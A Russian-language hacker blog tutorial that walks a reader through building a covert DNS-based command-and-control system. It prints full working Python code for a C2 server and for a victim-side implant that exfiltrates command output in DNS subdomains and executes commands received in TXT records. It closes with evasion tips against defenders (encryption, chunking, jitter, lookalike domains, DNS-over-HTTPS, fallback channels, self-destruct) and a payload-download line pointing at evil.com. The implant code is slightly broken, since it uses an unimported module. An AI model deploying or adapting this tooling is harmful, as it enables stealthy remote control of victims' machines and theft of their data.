C2 на коленке: как управлять зоопарком машин через DNS и не спалиться
Здарова, братан. Помнишь, как мы на том проде ковыряли дыру, а сисопы нам все порты порезали, кроме 53-го? Классика. Все эти модные C2 навороченные, красивые, но шумят как паровоз и палятся на раз-два по сигнатурам. А когда в сети тишина, любой чих в логах — это палево.
Так что давай по-старинке, на коленке, соберём себе тихий и надёжный C2 через DNS. Дёшево, сердито и хрен кто заметит, если грамотно сделать. DNS-трафик есть везде, он дико зашумлён легитимными запросами, и большинство блутимовцев смотрят на него в последнюю очередь. Наш билет в рай.
Концепция: Как мы обманем сисадмина
Расклад простой, как три копейки:
- Наш сервер (C2): Это VPS, на которой крутится наш самописный DNS-сервер. Он — авторитативный для домена, который мы купим.
- Наш имплант (клиент): Сидит на тачке жертвы. Он не стучится на IP, не открывает сокеты куда попало. Он просто… резолвит доменные имена.
- Канал связи:
- Клиент -> Сервер: Имплант шифрует данные (например,
whoami
+ hostname), кодирует в Base64 и лепит как поддомен к нашему C2-домену. Получается запрос типа[base64_data].c2.evil.corp
. Этот запрос улетает к локальному DNS-резолверу, а тот, по цепочке, приходит к нашему серверу. - Сервер -> Клиент: Наш C2-сервер получает запрос, парсит поддомен, декодирует данные. В ответ он шлёт не IP-адрес (A-запись), а TXT-запись, в которую зашита команда (например,
shell whoami
). Имплант получает TXT-запись, выполняет команду. Профит.
- Клиент -> Сервер: Имплант шифрует данные (например,
Сисоп видит… DNS-запросы. Ну и что? Их там миллион в секунду. А мы под этим шумом гоняем свои команды.
Шаг 1: Поднимаем C2-сервер
Что я вижу: Нам нужен контроль над DNS-зоной. Покупаем домен, желательно какой-нибудь отстойный, но с историей, чтобы не вызывать подозрений. Я обычно беру на Namecheap что-то типа system-update-service.net
или похожее. Нам не нужен веб-сервер, SSL и прочая лабуда. Только возможность прописать свои NS-записи.
Действия:
- Берём дешёвый VPS (я взял на DigitalOcean за 5 баксов).
- Покупаем домен (
our-c2-domain.com
). - В панели регистратора домена идём в настройки DNS и указываем кастомные NS-серверы:
ns1.our-c2-domain.com
-> IP нашего VPSns2.our-c2-domain.com
-> IP нашего VPS (да, можно один и тот же)
- На VPS ставим Python и пишем простейший DNS-сервер. Забудь про BIND, это для динозавров. Нам хватит
dnslib
.
Код C2-сервера (c2_server.py):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
# Ставим: pip install dnslib import base64 from dnslib import DNSRecord, DNSHeader, DNSQuestion, RR, A, TXT from dnslib.server import DNSServer C2_DOMAIN = "our-c2-domain.com." # Важно: точка в конце! COMMAND_QUEUE = {"default": "sleep 5"} # Команды для ботов. {bot_id: command} class C2Resolver: def resolve(self, request, handler): reply = request.reply() qname = request.q.qname # Парсим запрос от бота # Формат: [bot_id].[base64_data].our-c2-domain.com if str(qname).endswith(C2_DOMAIN): try: subdomains = str(qname).replace(C2_DOMAIN, '').rstrip('.').split('.') bot_id = subdomains[0] encoded_data = subdomains[1] decoded_data = base64.urlsafe_b64decode(encoded_data + '===').decode('utf-8', 'ignore') print(f"[+] Получен beacon от бота {bot_id}: {decoded_data}") # Получаем команду для этого бота command_to_send = COMMAND_QUEUE.get(bot_id, COMMAND_QUEUE["default"]) # Отправляем команду в TXT-записи reply.add_answer(RR(qname, rclass=1, rtype=16, rdata=TXT(command_to_send))) # Если бот запросил команду, ставим ему "ожидание" if command_to_send != COMMAND_QUEUE["default"]: COMMAND_QUEUE[bot_id] = COMMAND_QUEUE["default"] except Exception as e: print(f"[!] Ошибка парсинга от {qname}: {e}") # На кривой запрос отвечаем пустым TXT reply.add_answer(RR(qname, rclass=1, rtype=16, rdata=TXT("sleep 10"))) else: # На левые запросы отвечаем стандартно, чтобы не палиться reply.header.rcode = 3 # NXDOMAIN return reply # Простой терминал для выдачи команд def command_control(): while True: cmd_input = input("C2> ") if not cmd_input: continue parts = cmd_input.split(" ", 2) if parts[0] == "bots": print(f"Активные боты: {[k for k in COMMAND_QUEUE.keys() if k != 'default']}") elif parts[0] == "task" and len(parts) > 2: bot_id, command = parts[1], parts[2] COMMAND_QUEUE[bot_id] = command print(f"[+] Команда '{command}' поставлена в очередь для бота {bot_id}") elif parts[0] == "exit": break if __name__ == '__main__': from threading import Thread server = DNSServer(C2Resolver(), port=53, address="0.0.0.0") print("[*] DNS C2 сервер запущен на порту 53...") # Запускаем сервер в одном потоке, а консоль управления в другом server_thread = Thread(target=server.start) server_thread.daemon = True server_thread.start() command_control() server.stop() |
Запускаем это чудо на VPS (sudo python3 c2_server.py
) и ждём клиентов.
Шаг 2: Имплант на стороне жертвы
Что я вижу: Нам нужен лёгкий, беспалевный клиент. PowerShell на винде, Python на линуксе/маке — идеальные кандидаты. Главное — минимум зависимостей.
Действия:
Пишем скрипт, который будет периодически опрашивать наш C2.
Код импланта (implant.py):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
# Ставим: pip install dnspython import dns.resolver import base64 import subprocess import time import random import uuid C2_DOMAIN = "our-c2-domain.com" BOT_ID = str(uuid.uuid4())[:8] # Генерим уникальный ID для бота def run_command(command): if command.startswith("cd "): try: path = command.split(" ", 1)[1] os.chdir(path) return f"Changed directory to {os.getcwd()}".encode() except Exception as e: return str(e).encode() proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout, stderr = proc.communicate() return stdout + stderr def beacon(data): try: # Кодируем данные для отправки encoded_data = base64.urlsafe_b64encode(data.encode()).decode().rstrip('=') # Собираем домен для запроса query_domain = f"{BOT_ID}.{encoded_data}.{C2_DOMAIN}" # Делаем DNS-запрос на TXT-запись resolver = dns.resolver.Resolver() # Можно указать конкретный DNS-сервер, например гугловский, чтобы обойти местные фильтры # resolver.nameservers = ['8.8.8.8'] answers = resolver.resolve(query_domain, 'TXT') command = "" for rdata in answers: command = rdata.strings[0].decode() break # Берем первую команду return command except Exception as e: # print(f"[-] Ошибка бикона: {e}") return "sleep 10" # Если что-то пошло не так, просто спим if __name__ == '__main__': last_output = "new_bot_online" while True: # Отправляем результат прошлой команды и получаем новую command = beacon(last_output) if command.startswith("sleep"): sleep_time = int(command.split(" ")[1]) jitter = sleep_time * 0.2 time.sleep(sleep_time + random.uniform(-jitter, jitter)) last_output = "heartbeat" elif command == "exit": break else: # Выполняем команду last_output = run_command(command).decode('utf-8', 'ignore') if not last_output: last_output = "ok" # Добавляем короткую паузу, чтобы не долбить C2 без остановки time.sleep(1) |
А теперь — как не спалиться (offensive-анализ)
Ты же знаешь, дьявол в деталях. Простой Base64 и TXT-запросы — это для новичков. Синий с анализатором трафика (типа Zeek/Bro) может заметить аномалии:
- Длинные DNS-запросы:
base64(много_данных).c2.evil.corp
— это подозрительно. - Энтропия поддоменов: Строки в Base64 имеют высокую энтропию. Это флаг для некоторых систем.
- Постоянные запросы к одному домену: Если с одного хоста постоянно летят запросы к
*.our-c2-domain.com
, это тоже палево.
Как обходим:
- Шифрование: Перед Base64 шифруем данные через XOR или AES с pre-shared key. Это меняет энтропию и скрывает содержимое даже от поверхностного анализа.
- Чанкинг (нарезка данных): Большой объём данных (например, вывод
ls -la /
) бьём на куски по ~50 байт и шлём несколькими запросами.[chunk_id].[chunk_data].bot_id.c2.evil.corp
. Сервер собирает их поchunk_id
. - Разные типы записей: Не зацикливайся на TXT. Можно гонять данные через CNAME или даже A/AAAA записи, кодируя байты в IP-адреса (например, 1 байт = последнему октету IP). Это сложнее, но ещё тише.
- Джиттер (Jitter): В импланте
sleep
должен быть не фиксированным, а плавающим.sleep(300 + random.randint(-60, 60))
. Это смазывает паттерн в логах. - Доменная маскировка: Используй поддомены легитимных сервисов, если есть возможность (DNS Hijacking). Или зарегистрируй домен, похожий на CDN, типа
updates.ms-cdn-content.com
.
Вот тебе, братан, скелет. Простой, надёжный, как АК-47. Его можно допиливать до бесконечности, добавлять модули, менять каналы. Но основа — вот она. Тихо, незаметно, под самым носом у админа.
Советы:
- DNS-over-HTTPS (DoH): Следующий уровень маскировки. Заворачиваем наши DNS-запросы в HTTPS. Весь трафик будет выглядеть как обычный веб-сёрфинг до
cloudflare-dns.com
илиdns.google
. Ни один сетевой IDS не подкопается, пока не начнёт терминировать TLS, а это делают не все и не всегда. Клиент придётся усложнить, используя либы типаrequests
. - Stateful C2: Наш сервер сейчас «тупой» (stateless). Его можно улучшить, чтобы он хранил состояние каждого бота: текущую директорию, права, историю команд. Можно прикрутить к нему простенькую SQLite базу.
- Многоканальность: Добавь в имплант запасной канал связи. Если DNS-канал отвалился (например, админ что-то заподозрил и заблокировал наш домен), имплант может попробовать постучаться через ICMP-туннель или даже через комментарии к какому-нибудь YouTube-видео.
- Payload delivery: Как заливать файлы на тачку? Так же, чанками. Сервер отдаёт команду
download http://evil.com/payload.dll
, а имплант её выполняет черезcurl
/wget
. Или же передавать бинарник прямо в DNS-ответах, нарезанный и в Base64. Долго, зато надёжно. - Kill Switch: Сделай команду (например,
self-destruct
), которая полностью удаляет имплант с диска и из памяти, затирая следы. Когда работа сделана, надо уходить тихо.

На этом все. Всем хорошего дня!